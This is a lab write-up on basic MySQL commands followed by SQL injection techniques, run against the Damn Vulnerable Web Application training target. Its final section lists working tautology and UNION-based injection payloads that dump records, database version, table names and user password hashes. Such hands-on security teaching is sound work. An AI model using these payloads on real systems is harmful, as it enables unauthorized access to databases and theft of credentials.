SQL Injection Lab

TOPICS:

Basic SQL Commands

Querying a database with SQL

Deleting data with SQL

SQL Injection Techniques

Basic SQL Commands

• Show available databases.

Command:

show databases;

• Create a new database called test.

Command:

create database test;

• Choose the test database to work with.

Command:

use test;

• Create tables in the database and define the columns. The commands will include the column names, the types of data for each column, and the max length allowed for each value.

Commands:

create table users (name varchar (30), account integer, balance decimal (10,2));

create table personal (name varchar(30), address varchar(30), city varchar(20), telephone bigint);

• Display the tables within the test database.

Command:

show tables;

• Populate the users and personal tables with records. The commands will include the values for each column in the table.

Commands:

insert into users values (‘John’, 123, 10.00);

insert into users values (‘Joe’, 456, 20.00);

insert into personal values (‘John’, ‘1313 Mockingbird Lane’, ‘Mockingbird Heights’, 3105552368);

insert into personal values(‘Joe’, ‘1313 Cemetery Lane’, ‘Greenbrier’, 1313131313);

• Display all the data in each table.

Commands:

select * from users;

select * from personal;

Querying a database with SQL

• In the test database created earlier, write a query to retrieve the users and their balance from the users table.

Command:

select name, balance from users;

• Write a query to retrieve the names and telephone numbers from the personal table.

Command:

select name, telephone from personal;

• Write a join query to retrieve the users’ names, balances, and telephone numbers from both tables. The name column is the foreign key.

Command:

select users.name, users.balance, personal.telephone from users join personal where users.name=personal.name;

Deleting data with SQL

• Delete a record from the personal table.

Command:

delete from personal where name=’Joe’;

• Remove the personal table from the database.

Command:

drop table personal;

• Delete the whole test database.

Command:

drop database test;

SQL Injection Techniques

We ran a series of queries from the User ID field on login portal of the Damn Vulnerable Web Application.

• Use a true statement to test if the app is vulnerable to SQL injection.

Command:

1=1

• The following query has been executed by the target database:

select first_name, surname from “some table” where user_id=1

• Display all false/empty records and all true/not empty records.

Command:

1’ or ‘0’=’0

• The following query has been executed by the target database to dump the users:

select first_name, surname from “some table” where user_id = 1’ or ‘0’=’0’;

• Query for database info and database user info.

Command:

1’ or 1=1 union select database(), user()#

• Query for the database version.

Command:

1’ or 1=1 union select null,version()#

• Identify the tables in the target database.

Command:

1’ or 1=1 union select null, table_name from information_schema.tables#

• See if any password fields are associated with the users table.

Command:

1’ or 1=1 union select user, password from users#